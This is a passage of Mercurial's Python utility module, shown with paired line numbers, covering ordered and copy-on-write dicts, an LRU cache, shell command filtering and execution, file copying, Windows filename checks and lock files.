905 897 if getattr(self, '_copied', 0):
906 898 self._copied -= 1
907 899 return self.__class__(self)
908 900 return self
909 901
910 902 def copy(self):
911 903 """always do a cheap copy"""
912 904 self._copied = getattr(self, '_copied', 0) + 1
913 905 return self
914 906
915 907 class sortdict(collections.OrderedDict):
916 908 '''a simple sorted dictionary
917 909
918 910 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
919 911 >>> d2 = d1.copy()
920 912 >>> d2
921 913 sortdict([('a', 0), ('b', 1)])
922 914 >>> d2.update([(b'a', 2)])
923 915 >>> list(d2.keys()) # should still be in last-set order
924 916 ['b', 'a']
925 917 '''
926 918
927 919 def __setitem__(self, key, value):
928 920 if key in self:
929 921 del self[key]
930 922 super(sortdict, self).__setitem__(key, value)
931 923
932 924 if pycompat.ispypy:
933 925 # __setitem__() isn't called as of PyPy 5.8.0
934 926 def update(self, src):
935 927 if isinstance(src, dict):
936 928 src = src.iteritems()
937 929 for k, v in src:
938 930 self[k] = v
939 931
940 932 class cowdict(cow, dict):
941 933 """copy-on-write dict
942 934
943 935 Be sure to call d = d.preparewrite() before writing to d.
944 936
945 937 >>> a = cowdict()
946 938 >>> a is a.preparewrite()
947 939 True
948 940 >>> b = a.copy()
949 941 >>> b is a
950 942 True
951 943 >>> c = b.copy()
952 944 >>> c is a
953 945 True
954 946 >>> a = a.preparewrite()
955 947 >>> b is a
956 948 False
957 949 >>> a is a.preparewrite()
958 950 True
959 951 >>> c = c.preparewrite()
960 952 >>> b is c
961 953 False
962 954 >>> b is b.preparewrite()
963 955 True
964 956 """
965 957
966 958 class cowsortdict(cow, sortdict):
967 959 """copy-on-write sortdict
968 960
969 961 Be sure to call d = d.preparewrite() before writing to d.
970 962 """
971 963
972 964 class transactional(object):
973 965 """Base class for making a transactional type into a context manager."""
974 966 __metaclass__ = abc.ABCMeta
975 967
976 968 @abc.abstractmethod
977 969 def close(self):
978 970 """Successfully closes the transaction."""
979 971
980 972 @abc.abstractmethod
981 973 def release(self):
982 974 """Marks the end of the transaction.
983 975
984 976 If the transaction has not been closed, it will be aborted.
985 977 """
986 978
987 979 def __enter__(self):
988 980 return self
989 981
990 982 def __exit__(self, exc_type, exc_val, exc_tb):
991 983 try:
992 984 if exc_type is None:
993 985 self.close()
994 986 finally:
995 987 self.release()
996 988
997 989 @contextlib.contextmanager
998 990 def acceptintervention(tr=None):
999 991 """A context manager that closes the transaction on InterventionRequired
1000 992
1001 993 If no transaction was provided, this simply runs the body and returns
1002 994 """
1003 995 if not tr:
1004 996 yield
1005 997 return
1006 998 try:
1007 999 yield
1008 1000 tr.close()
1009 1001 except error.InterventionRequired:
1010 1002 tr.close()
1011 1003 raise
1012 1004 finally:
1013 1005 tr.release()
1014 1006
1015 1007 @contextlib.contextmanager
1016 1008 def nullcontextmanager():
1017 1009 yield
1018 1010
1019 1011 class _lrucachenode(object):
1020 1012 """A node in a doubly linked list.
1021 1013
1022 1014 Holds a reference to nodes on either side as well as a key-value
1023 1015 pair for the dictionary entry.
1024 1016 """
1025 1017 __slots__ = (u'next', u'prev', u'key', u'value')
1026 1018
1027 1019 def __init__(self):
1028 1020 self.next = None
1029 1021 self.prev = None
1030 1022
1031 1023 self.key = _notset
1032 1024 self.value = None
1033 1025
1034 1026 def markempty(self):
1035 1027 """Mark the node as emptied."""
1036 1028 self.key = _notset
1037 1029
1038 1030 class lrucachedict(object):
1039 1031 """Dict that caches most recent accesses and sets.
1040 1032
1041 1033 The dict consists of an actual backing dict - indexed by original
1042 1034 key - and a doubly linked circular list defining the order of entries in
1043 1035 the cache.
1044 1036
1045 1037 The head node is the newest entry in the cache. If the cache is full,
1046 1038 we recycle head.prev and make it the new head. Cache accesses result in
1047 1039 the node being moved to before the existing head and being marked as the
1048 1040 new head node.
1049 1041 """
1050 1042 def __init__(self, max):
1051 1043 self._cache = {}
1052 1044
1053 1045 self._head = head = _lrucachenode()
1054 1046 head.prev = head
1055 1047 head.next = head
1056 1048 self._size = 1
1057 1049 self._capacity = max
1058 1050
1059 1051 def __len__(self):
1060 1052 return len(self._cache)
1061 1053
1062 1054 def __contains__(self, k):
1063 1055 return k in self._cache
1064 1056
1065 1057 def __iter__(self):
1066 1058 # We don't have to iterate in cache order, but why not.
1067 1059 n = self._head
1068 1060 for i in range(len(self._cache)):
1069 1061 yield n.key
1070 1062 n = n.next
1071 1063
1072 1064 def __getitem__(self, k):
1073 1065 node = self._cache[k]
1074 1066 self._movetohead(node)
1075 1067 return node.value
1076 1068
1077 1069 def __setitem__(self, k, v):
1078 1070 node = self._cache.get(k)
1079 1071 # Replace existing value and mark as newest.
1080 1072 if node is not None:
1081 1073 node.value = v
1082 1074 self._movetohead(node)
1083 1075 return
1084 1076
1085 1077 if self._size < self._capacity:
1086 1078 node = self._addcapacity()
1087 1079 else:
1088 1080 # Grab the last/oldest item.
1089 1081 node = self._head.prev
1090 1082
1091 1083 # At capacity. Kill the old entry.
1092 1084 if node.key is not _notset:
1093 1085 del self._cache[node.key]
1094 1086
1095 1087 node.key = k
1096 1088 node.value = v
1097 1089 self._cache[k] = node
1098 1090 # And mark it as newest entry. No need to adjust order since it
1099 1091 # is already self._head.prev.
1100 1092 self._head = node
1101 1093
1102 1094 def __delitem__(self, k):
1103 1095 node = self._cache.pop(k)
1104 1096 node.markempty()
1105 1097
1106 1098 # Temporarily mark as newest item before re-adjusting head to make
1107 1099 # this node the oldest item.
1108 1100 self._movetohead(node)
1109 1101 self._head = node.next
1110 1102
1111 1103 # Additional dict methods.
1112 1104
1113 1105 def get(self, k, default=None):
1114 1106 try:
1115 1107 return self._cache[k].value
1116 1108 except KeyError:
1117 1109 return default
1118 1110
1119 1111 def clear(self):
1120 1112 n = self._head
1121 1113 while n.key is not _notset:
1122 1114 n.markempty()
1123 1115 n = n.next
1124 1116
1125 1117 self._cache.clear()
1126 1118
1127 1119 def copy(self):
1128 1120 result = lrucachedict(self._capacity)
1129 1121 n = self._head.prev
1130 1122 # Iterate in oldest-to-newest order, so the copy has the right ordering
1131 1123 for i in range(len(self._cache)):
1132 1124 result[n.key] = n.value
1133 1125 n = n.prev
1134 1126 return result
1135 1127
1136 1128 def _movetohead(self, node):
1137 1129 """Mark a node as the newest, making it the new head.
1138 1130
1139 1131 When a node is accessed, it becomes the freshest entry in the LRU
1140 1132 list, which is denoted by self._head.
1141 1133
1142 1134 Visually, let's make ``N`` the new head node (* denotes head):
1143 1135
1144 1136 previous/oldest <-> head <-> next/next newest
1145 1137
1146 1138 ----<->--- A* ---<->-----
1147 1139 | |
1148 1140 E <-> D <-> N <-> C <-> B
1149 1141
1150 1142 To:
1151 1143
1152 1144 ----<->--- N* ---<->-----
1153 1145 | |
1154 1146 E <-> D <-> C <-> B <-> A
1155 1147
1156 1148 This requires the following moves:
1157 1149
1158 1150 C.next = D (node.prev.next = node.next)
1159 1151 D.prev = C (node.next.prev = node.prev)
1160 1152 E.next = N (head.prev.next = node)
1161 1153 N.prev = E (node.prev = head.prev)
1162 1154 N.next = A (node.next = head)
1163 1155 A.prev = N (head.prev = node)
1164 1156 """
1165 1157 head = self._head
1166 1158 # C.next = D
1167 1159 node.prev.next = node.next
1168 1160 # D.prev = C
1169 1161 node.next.prev = node.prev
1170 1162 # N.prev = E
1171 1163 node.prev = head.prev
1172 1164 # N.next = A
1173 1165 # It is tempting to do just "head" here, however if node is
1174 1166 # adjacent to head, this will do bad things.
1175 1167 node.next = head.prev.next
1176 1168 # E.next = N
1177 1169 node.next.prev = node
1178 1170 # A.prev = N
1179 1171 node.prev.next = node
1180 1172
1181 1173 self._head = node
1182 1174
1183 1175 def _addcapacity(self):
1184 1176 """Add a node to the circular linked list.
1185 1177
1186 1178 The new node is inserted before the head node.
1187 1179 """
1188 1180 head = self._head
1189 1181 node = _lrucachenode()
1190 1182 head.prev.next = node
1191 1183 node.prev = head.prev
1192 1184 node.next = head
1193 1185 head.prev = node
1194 1186 self._size += 1
1195 1187 return node
1196 1188
1197 1189 def lrucachefunc(func):
1198 1190 '''cache most recent results of function calls'''
1199 1191 cache = {}
1200 1192 order = collections.deque()
1201 1193 if func.__code__.co_argcount == 1:
1202 1194 def f(arg):
1203 1195 if arg not in cache:
1204 1196 if len(cache) > 20:
1205 1197 del cache[order.popleft()]
1206 1198 cache[arg] = func(arg)
1207 1199 else:
1208 1200 order.remove(arg)
1209 1201 order.append(arg)
1210 1202 return cache[arg]
1211 1203 else:
1212 1204 def f(*args):
1213 1205 if args not in cache:
1214 1206 if len(cache) > 20:
1215 1207 del cache[order.popleft()]
1216 1208 cache[args] = func(*args)
1217 1209 else:
1218 1210 order.remove(args)
1219 1211 order.append(args)
1220 1212 return cache[args]
1221 1213
1222 1214 return f
1223 1215
1224 1216 class propertycache(object):
1225 1217 def __init__(self, func):
1226 1218 self.func = func
1227 1219 self.name = func.__name__
1228 1220 def __get__(self, obj, type=None):
1229 1221 result = self.func(obj)
1230 1222 self.cachevalue(obj, result)
1231 1223 return result
1232 1224
1233 1225 def cachevalue(self, obj, value):
1234 1226 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1235 1227 obj.__dict__[self.name] = value
1236 1228
1237 1229 def clearcachedproperty(obj, prop):
1238 1230 '''clear a cached property value, if one has been set'''
1239 1231 if prop in obj.__dict__:
1240 1232 del obj.__dict__[prop]
1241 1233
1242 1234 def pipefilter(s, cmd):
1243 1235 '''filter string S through command CMD, returning its output'''
1244 1236 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1245 1237 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1246 1238 pout, perr = p.communicate(s)
1247 1239 return pout
1248 1240
1249 1241 def tempfilter(s, cmd):
1250 1242 '''filter string S through a pair of temporary files with CMD.
1251 1243 CMD is used as a template to create the real command to be run,
1252 1244 with the strings INFILE and OUTFILE replaced by the real names of
1253 1245 the temporary files generated.'''
1254 1246 inname, outname = None, None
1255 1247 try:
1256 1248 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1257 1249 fp = os.fdopen(infd, pycompat.sysstr('wb'))
1258 1250 fp.write(s)
1259 1251 fp.close()
1260 1252 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1261 1253 os.close(outfd)
1262 1254 cmd = cmd.replace('INFILE', inname)
1263 1255 cmd = cmd.replace('OUTFILE', outname)
1264 1256 code = os.system(cmd)
1265 1257 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1266 1258 code = 0
1267 1259 if code:
1268 1260 raise Abort(_("command '%s' failed: %s") %
1269 1261 (cmd, explainexit(code)))
1270 1262 return readfile(outname)
1271 1263 finally:
1272 1264 try:
1273 1265 if inname:
1274 1266 os.unlink(inname)
1275 1267 except OSError:
1276 1268 pass
1277 1269 try:
1278 1270 if outname:
1279 1271 os.unlink(outname)
1280 1272 except OSError:
1281 1273 pass
1282 1274
1283 1275 filtertable = {
1284 1276 'tempfile:': tempfilter,
1285 1277 'pipe:': pipefilter,
1286 1278 }
1287 1279
1288 1280 def filter(s, cmd):
1289 1281 "filter a string through a command that transforms its input to its output"
1290 1282 for name, fn in filtertable.iteritems():
1291 1283 if cmd.startswith(name):
1292 1284 return fn(s, cmd[len(name):].lstrip())
1293 1285 return pipefilter(s, cmd)
1294 1286
1295 1287 def binary(s):
1296 1288 """return true if a string is binary data"""
1297 1289 return bool(s and '\0' in s)
1298 1290
1299 1291 def increasingchunks(source, min=1024, max=65536):
1300 1292 '''return no less than min bytes per chunk while data remains,
1301 1293 doubling min after each chunk until it reaches max'''
1302 1294 def log2(x):
1303 1295 if not x:
1304 1296 return 0
1305 1297 i = 0
1306 1298 while x:
1307 1299 x >>= 1
1308 1300 i += 1
1309 1301 return i - 1
1310 1302
1311 1303 buf = []
1312 1304 blen = 0
1313 1305 for chunk in source:
1314 1306 buf.append(chunk)
1315 1307 blen += len(chunk)
1316 1308 if blen >= min:
1317 1309 if min < max:
1318 1310 min = min << 1
1319 1311 nmin = 1 << log2(blen)
1320 1312 if nmin > min:
1321 1313 min = nmin
1322 1314 if min > max:
1323 1315 min = max
1324 1316 yield ''.join(buf)
1325 1317 blen = 0
1326 1318 buf = []
1327 1319 if buf:
1328 1320 yield ''.join(buf)
1329 1321
1330 1322 Abort = error.Abort
1331 1323
1332 1324 def always(fn):
1333 1325 return True
1334 1326
1335 1327 def never(fn):
1336 1328 return False
1337 1329
1338 1330 def nogc(func):
1339 1331 """disable garbage collector
1340 1332
1341 1333 Python's garbage collector triggers a GC each time a certain number of
1342 1334 container objects (the number being defined by gc.get_threshold()) are
1343 1335 allocated even when marked not to be tracked by the collector. Tracking has
1344 1336 no effect on when GCs are triggered, only on what objects the GC looks
1345 1337 into. As a workaround, disable GC while building complex (huge)
1346 1338 containers.
1347 1339
1348 1340 This garbage collector issue have been fixed in 2.7. But it still affect
1349 1341 CPython's performance.
1350 1342 """
1351 1343 def wrapper(*args, **kwargs):
1352 1344 gcenabled = gc.isenabled()
1353 1345 gc.disable()
1354 1346 try:
1355 1347 return func(*args, **kwargs)
1356 1348 finally:
1357 1349 if gcenabled:
1358 1350 gc.enable()
1359 1351 return wrapper
1360 1352
1361 1353 if pycompat.ispypy:
1362 1354 # PyPy runs slower with gc disabled
1363 1355 nogc = lambda x: x
1364 1356
1365 1357 def pathto(root, n1, n2):
1366 1358 '''return the relative path from one place to another.
1367 1359 root should use os.sep to separate directories
1368 1360 n1 should use os.sep to separate directories
1369 1361 n2 should use "/" to separate directories
1370 1362 returns an os.sep-separated path.
1371 1363
1372 1364 If n1 is a relative path, it's assumed it's
1373 1365 relative to root.
1374 1366 n2 should always be relative to root.
1375 1367 '''
1376 1368 if not n1:
1377 1369 return localpath(n2)
1378 1370 if os.path.isabs(n1):
1379 1371 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1380 1372 return os.path.join(root, localpath(n2))
1381 1373 n2 = '/'.join((pconvert(root), n2))
1382 1374 a, b = splitpath(n1), n2.split('/')
1383 1375 a.reverse()
1384 1376 b.reverse()
1385 1377 while a and b and a[-1] == b[-1]:
1386 1378 a.pop()
1387 1379 b.pop()
1388 1380 b.reverse()
1389 1381 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1390 1382
1391 1383 def mainfrozen():
1392 1384 """return True if we are a frozen executable.
1393 1385
1394 1386 The code supports py2exe (most common, Windows only) and tools/freeze
1395 1387 (portable, not much used).
1396 1388 """
1397 1389 return (safehasattr(sys, "frozen") or # new py2exe
1398 1390 safehasattr(sys, "importers") or # old py2exe
1399 1391 imp.is_frozen(u"__main__")) # tools/freeze
1400 1392
1401 1393 # the location of data files matching the source code
1402 1394 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1403 1395 # executable version (py2exe) doesn't support __file__
1404 1396 datapath = os.path.dirname(pycompat.sysexecutable)
1405 1397 else:
1406 1398 datapath = os.path.dirname(pycompat.fsencode(__file__))
1407 1399
1408 1400 i18n.setdatapath(datapath)
1409 1401
1410 1402 _hgexecutable = None
1411 1403
1412 1404 def hgexecutable():
1413 1405 """return location of the 'hg' executable.
1414 1406
1415 1407 Defaults to $HG or 'hg' in the search path.
1416 1408 """
1417 1409 if _hgexecutable is None:
1418 1410 hg = encoding.environ.get('HG')
1419 1411 mainmod = sys.modules[pycompat.sysstr('__main__')]
1420 1412 if hg:
1421 1413 _sethgexecutable(hg)
1422 1414 elif mainfrozen():
1423 1415 if getattr(sys, 'frozen', None) == 'macosx_app':
1424 1416 # Env variable set by py2app
1425 1417 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1426 1418 else:
1427 1419 _sethgexecutable(pycompat.sysexecutable)
1428 1420 elif (os.path.basename(
1429 1421 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1430 1422 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1431 1423 else:
1432 1424 exe = findexe('hg') or os.path.basename(sys.argv[0])
1433 1425 _sethgexecutable(exe)
1434 1426 return _hgexecutable
1435 1427
1436 1428 def _sethgexecutable(path):
1437 1429 """set location of the 'hg' executable"""
1438 1430 global _hgexecutable
1439 1431 _hgexecutable = path
1440 1432
1441 1433 def _isstdout(f):
1442 1434 fileno = getattr(f, 'fileno', None)
1443 1435 try:
1444 1436 return fileno and fileno() == sys.__stdout__.fileno()
1445 1437 except io.UnsupportedOperation:
1446 1438 return False # fileno() raised UnsupportedOperation
1447 1439
1448 1440 def shellenviron(environ=None):
1449 1441 """return environ with optional override, useful for shelling out"""
1450 1442 def py2shell(val):
1451 1443 'convert python object into string that is useful to shell'
1452 1444 if val is None or val is False:
1453 1445 return '0'
1454 1446 if val is True:
1455 1447 return '1'
1456 1448 return pycompat.bytestr(val)
1457 1449 env = dict(encoding.environ)
1458 1450 if environ:
1459 1451 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1460 1452 env['HG'] = hgexecutable()
1461 1453 return env
1462 1454
1463 1455 def system(cmd, environ=None, cwd=None, out=None):
1464 1456 '''enhanced shell command execution.
1465 1457 run with environment maybe modified, maybe in different dir.
1466 1458
1467 1459 if out is specified, it is assumed to be a file-like object that has a
1468 1460 write() method. stdout and stderr will be redirected to out.'''
1469 1461 try:
1470 1462 stdout.flush()
1471 1463 except Exception:
1472 1464 pass
1473 1465 cmd = quotecommand(cmd)
1474 1466 env = shellenviron(environ)
1475 1467 if out is None or _isstdout(out):
1476 1468 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1477 1469 env=env, cwd=cwd)
1478 1470 else:
1479 1471 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1480 1472 env=env, cwd=cwd, stdout=subprocess.PIPE,
1481 1473 stderr=subprocess.STDOUT)
1482 1474 for line in iter(proc.stdout.readline, ''):
1483 1475 out.write(line)
1484 1476 proc.wait()
1485 1477 rc = proc.returncode
1486 1478 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1487 1479 rc = 0
1488 1480 return rc
1489 1481
1490 1482 def checksignature(func):
1491 1483 '''wrap a function with code to check for calling errors'''
1492 1484 def check(*args, **kwargs):
1493 1485 try:
1494 1486 return func(*args, **kwargs)
1495 1487 except TypeError:
1496 1488 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1497 1489 raise error.SignatureError
1498 1490 raise
1499 1491
1500 1492 return check
1501 1493
1502 1494 # a whilelist of known filesystems where hardlink works reliably
1503 1495 _hardlinkfswhitelist = {
1504 1496 'btrfs',
1505 1497 'ext2',
1506 1498 'ext3',
1507 1499 'ext4',
1508 1500 'hfs',
1509 1501 'jfs',
1510 1502 'NTFS',
1511 1503 'reiserfs',
1512 1504 'tmpfs',
1513 1505 'ufs',
1514 1506 'xfs',
1515 1507 'zfs',
1516 1508 }
1517 1509
1518 1510 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1519 1511 '''copy a file, preserving mode and optionally other stat info like
1520 1512 atime/mtime
1521 1513
1522 1514 checkambig argument is used with filestat, and is useful only if
1523 1515 destination file is guarded by any lock (e.g. repo.lock or
1524 1516 repo.wlock).
1525 1517
1526 1518 copystat and checkambig should be exclusive.
1527 1519 '''
1528 1520 assert not (copystat and checkambig)
1529 1521 oldstat = None
1530 1522 if os.path.lexists(dest):
1531 1523 if checkambig:
1532 1524 oldstat = checkambig and filestat.frompath(dest)
1533 1525 unlink(dest)
1534 1526 if hardlink:
1535 1527 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1536 1528 # unless we are confident that dest is on a whitelisted filesystem.
1537 1529 try:
1538 1530 fstype = getfstype(os.path.dirname(dest))
1539 1531 except OSError:
1540 1532 fstype = None
1541 1533 if fstype not in _hardlinkfswhitelist:
1542 1534 hardlink = False
1543 1535 if hardlink:
1544 1536 try:
1545 1537 oslink(src, dest)
1546 1538 return
1547 1539 except (IOError, OSError):
1548 1540 pass # fall back to normal copy
1549 1541 if os.path.islink(src):
1550 1542 os.symlink(os.readlink(src), dest)
1551 1543 # copytime is ignored for symlinks, but in general copytime isn't needed
1552 1544 # for them anyway
1553 1545 else:
1554 1546 try:
1555 1547 shutil.copyfile(src, dest)
1556 1548 if copystat:
1557 1549 # copystat also copies mode
1558 1550 shutil.copystat(src, dest)
1559 1551 else:
1560 1552 shutil.copymode(src, dest)
1561 1553 if oldstat and oldstat.stat:
1562 1554 newstat = filestat.frompath(dest)
1563 1555 if newstat.isambig(oldstat):
1564 1556 # stat of copied file is ambiguous to original one
1565 1557 advanced = (
1566 1558 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1567 1559 os.utime(dest, (advanced, advanced))
1568 1560 except shutil.Error as inst:
1569 1561 raise Abort(str(inst))
1570 1562
1571 1563 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1572 1564 """Copy a directory tree using hardlinks if possible."""
1573 1565 num = 0
1574 1566
1575 1567 gettopic = lambda: hardlink and _('linking') or _('copying')
1576 1568
1577 1569 if os.path.isdir(src):
1578 1570 if hardlink is None:
1579 1571 hardlink = (os.stat(src).st_dev ==
1580 1572 os.stat(os.path.dirname(dst)).st_dev)
1581 1573 topic = gettopic()
1582 1574 os.mkdir(dst)
1583 1575 for name, kind in listdir(src):
1584 1576 srcname = os.path.join(src, name)
1585 1577 dstname = os.path.join(dst, name)
1586 1578 def nprog(t, pos):
1587 1579 if pos is not None:
1588 1580 return progress(t, pos + num)
1589 1581 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1590 1582 num += n
1591 1583 else:
1592 1584 if hardlink is None:
1593 1585 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1594 1586 os.stat(os.path.dirname(dst)).st_dev)
1595 1587 topic = gettopic()
1596 1588
1597 1589 if hardlink:
1598 1590 try:
1599 1591 oslink(src, dst)
1600 1592 except (IOError, OSError):
1601 1593 hardlink = False
1602 1594 shutil.copy(src, dst)
1603 1595 else:
1604 1596 shutil.copy(src, dst)
1605 1597 num += 1
1606 1598 progress(topic, num)
1607 1599 progress(topic, None)
1608 1600
1609 1601 return hardlink, num
1610 1602
1611 1603 _winreservednames = {
1612 1604 'con', 'prn', 'aux', 'nul',
1613 1605 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1614 1606 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1615 1607 }
1616 1608 _winreservedchars = ':*?"<>|'
1617 1609 def checkwinfilename(path):
1618 1610 r'''Check that the base-relative path is a valid filename on Windows.
1619 1611 Returns None if the path is ok, or a UI string describing the problem.
1620 1612
1621 1613 >>> checkwinfilename(b"just/a/normal/path")
1622 1614 >>> checkwinfilename(b"foo/bar/con.xml")
1623 1615 "filename contains 'con', which is reserved on Windows"
1624 1616 >>> checkwinfilename(b"foo/con.xml/bar")
1625 1617 "filename contains 'con', which is reserved on Windows"
1626 1618 >>> checkwinfilename(b"foo/bar/xml.con")
1627 1619 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1628 1620 "filename contains 'AUX', which is reserved on Windows"
1629 1621 >>> checkwinfilename(b"foo/bar/bla:.txt")
1630 1622 "filename contains ':', which is reserved on Windows"
1631 1623 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1632 1624 "filename contains '\\x07', which is invalid on Windows"
1633 1625 >>> checkwinfilename(b"foo/bar/bla ")
1634 1626 "filename ends with ' ', which is not allowed on Windows"
1635 1627 >>> checkwinfilename(b"../bar")
1636 1628 >>> checkwinfilename(b"foo\\")
1637 1629 "filename ends with '\\', which is invalid on Windows"
1638 1630 >>> checkwinfilename(b"foo\\/bar")
1639 1631 "directory name ends with '\\', which is invalid on Windows"
1640 1632 '''
1641 1633 if path.endswith('\\'):
1642 1634 return _("filename ends with '\\', which is invalid on Windows")
1643 1635 if '\\/' in path:
1644 1636 return _("directory name ends with '\\', which is invalid on Windows")
1645 1637 for n in path.replace('\\', '/').split('/'):
1646 1638 if not n:
1647 1639 continue
1648 1640 for c in _filenamebytestr(n):
1649 1641 if c in _winreservedchars:
1650 1642 return _("filename contains '%s', which is reserved "
1651 1643 "on Windows") % c
1652 1644 if ord(c) <= 31:
1653 1645 return _("filename contains '%s', which is invalid "
1654 1646 "on Windows") % escapestr(c)
1655 1647 base = n.split('.')[0]
1656 1648 if base and base.lower() in _winreservednames:
1657 1649 return _("filename contains '%s', which is reserved "
1658 1650 "on Windows") % base
1659 1651 t = n[-1:]
1660 1652 if t in '. ' and n not in '..':
1661 1653 return _("filename ends with '%s', which is not allowed "
1662 1654 "on Windows") % t
1663 1655
1664 1656 if pycompat.iswindows:
1665 1657 checkosfilename = checkwinfilename
1666 1658 timer = time.clock
1667 1659 else:
1668 1660 checkosfilename = platform.checkosfilename
1669 1661 timer = time.time
1670 1662
1671 1663 if safehasattr(time, "perf_counter"):
1672 1664 timer = time.perf_counter
1673 1665
1674 1666 def makelock(info, pathname):
1675 1667 """Create a lock file atomically if possible
1676 1668
1677 1669 This may leave a stale lock file if symlink isn't supported and signal
1678 1670 interrupt is enabled.
1679 1671 """
1680 1672 try:
1681 1673 return os.symlink(info, pathname)
1682 1674 except OSError as why:
1683 1675 if why.errno == errno.EEXIST:
1684 1676 raise
1685 1677 except AttributeError: # no symlink in os
1686 1678 pass
1687 1679
1688 1680 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1689 1681 ld = os.open(pathname, flags)
1690 1682 os.write(ld, info)
1691 1683 os.close(ld)
1692 1684
1693 1685 def readlock(pathname):
1694 1686 try:
1695 1687 return os.readlink(pathname)
1696 1688 except OSError as why:
1697 1689 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1698 1690 raise
1699 1691 except AttributeError: # no symlink in os
1700 1692 pass
1701 1693 fp = posixfile(pathname, 'rb')
1702 1694 r = fp.read()
1703 1695 fp.close()
1704 1696 return r
1705 1697
1706 1698 def fstat(fp):
1707 1699 '''stat file object that may not have fileno method.'''
1708 1700 try:
1709 1701 return os.fstat(fp.fileno())
1710 1702 except AttributeError:
1711 1703 return os.stat(fp.name)
1712 1704
1713 1705 # File system features
1714 1706
1715 1707 def fscasesensitive(path):
1716 1708 """
1717 1709 Return true if the given path is on a case-sensitive filesystem
1718 1710
1719 1711 Requires a path (like /foo/.hg) ending with a foldable final
1720 1712 directory component.
1721 1713 """
1722 1714 s1 = os.lstat(path)
1723 1715 d, b = os.path.split(path)
1724 1716 b2 = b.upper()
1725 1717 if b == b2:
1726 1718 b2 = b.lower()
1727 1719 if b == b2:
1728 1720 return True # no evidence against case sensitivity
1729 1721 p2 = os.path.join(d, b2)
1730 1722 try:
1731 1723 s2 = os.lstat(p2)
1732 1724 if s2 == s1:
1733 1725 return False
1734 1726 return True
1735 1727 except OSError:
1736 1728 return True
1737 1729
1738 1730 try:
1739 1731 import re2
1740 1732 _re2 = None
1741 1733 except ImportError:
1742 1734 _re2 = False
1743 1735
1744 1736 class _re(object):
1745 1737 def _checkre2(self):
1746 1738 global _re2
1747 1739 try:
1748 1740 # check if match works, see issue3964
1749 1741 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1750 1742 except ImportError:
1751 1743 _re2 = False
1752 1744
1753 1745 def compile(self, pat, flags=0):
1754 1746 '''Compile a regular expression, using re2 if possible
1755 1747
1756 1748 For best performance, use only re2-compatible regexp features. The
1757 1749 only flags from the re module that are re2-compatible are
1758 1750 IGNORECASE and MULTILINE.'''
1759 1751 if _re2 is None:
1760 1752 self._checkre2()
1761 1753 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1762 1754 if flags & remod.IGNORECASE:
1763 1755 pat = '(?i)' + pat
1764 1756 if flags & remod.MULTILINE:
1765 1757 pat = '(?m)' + pat
1766 1758 try:
1767 1759 return re2.compile(pat)
1768 1760 except re2.error:
1769 1761 pass
1770 1762 return remod.compile(pat, flags)
1771 1763
1772 1764 @propertycache
1773 1765 def escape(self):
1774 1766 '''Return the version of escape corresponding to self.compile.
1775 1767
1776 1768 This is imperfect because whether re2 or re is used for a particular
1777 1769 function depends on the flags, etc, but it's the best we can do.
1778 1770 '''
1779 1771 global _re2
1780 1772 if _re2 is None:
1781 1773 self._checkre2()
1782 1774 if _re2:
1783 1775 return re2.escape
1784 1776 else:
1785 1777 return remod.escape
1786 1778
1787 1779 re = _re()
1788 1780
1789 1781 _fspathcache = {}
1790 1782 def fspath(name, root):
1791 1783 '''Get name in the case stored in the filesystem
1792 1784
1793 1785 The name should be relative to root, and be normcase-ed for efficiency.
1794 1786
1795 1787 Note that this function is unnecessary, and should not be
1796 1788 called, for case-sensitive filesystems (simply because it's expensive).
1797 1789
1798 1790 The root should be normcase-ed, too.
1799 1791 '''
1800 1792 def _makefspathcacheentry(dir):
1801 1793 return dict((normcase(n), n) for n in os.listdir(dir))
1802 1794
1803 1795 seps = pycompat.ossep
1804 1796 if pycompat.osaltsep:
1805 1797 seps = seps + pycompat.osaltsep
1806 1798 # Protect backslashes. This gets silly very quickly.
1807 1799 seps.replace('\\','\\\\')
1808 1800 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1809 1801 dir = os.path.normpath(root)
1810 1802 result = []
1811 1803 for part, sep in pattern.findall(name):
1812 1804 if sep:
1813 1805 result.append(sep)
1814 1806 continue
1815 1807
1816 1808 if dir not in _fspathcache:
1817 1809 _fspathcache[dir] = _makefspathcacheentry(dir)
1818 1810 contents = _fspathcache[dir]
1819 1811
1820 1812 found = contents.get(part)
1821 1813 if not found:
1822 1814 # retry "once per directory" per "dirstate.walk" which
1823 1815 # may take place for each patches of "hg qpush", for example
1824 1816 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1825 1817 found = contents.get(part)
1826 1818
1827 1819 result.append(found or part)
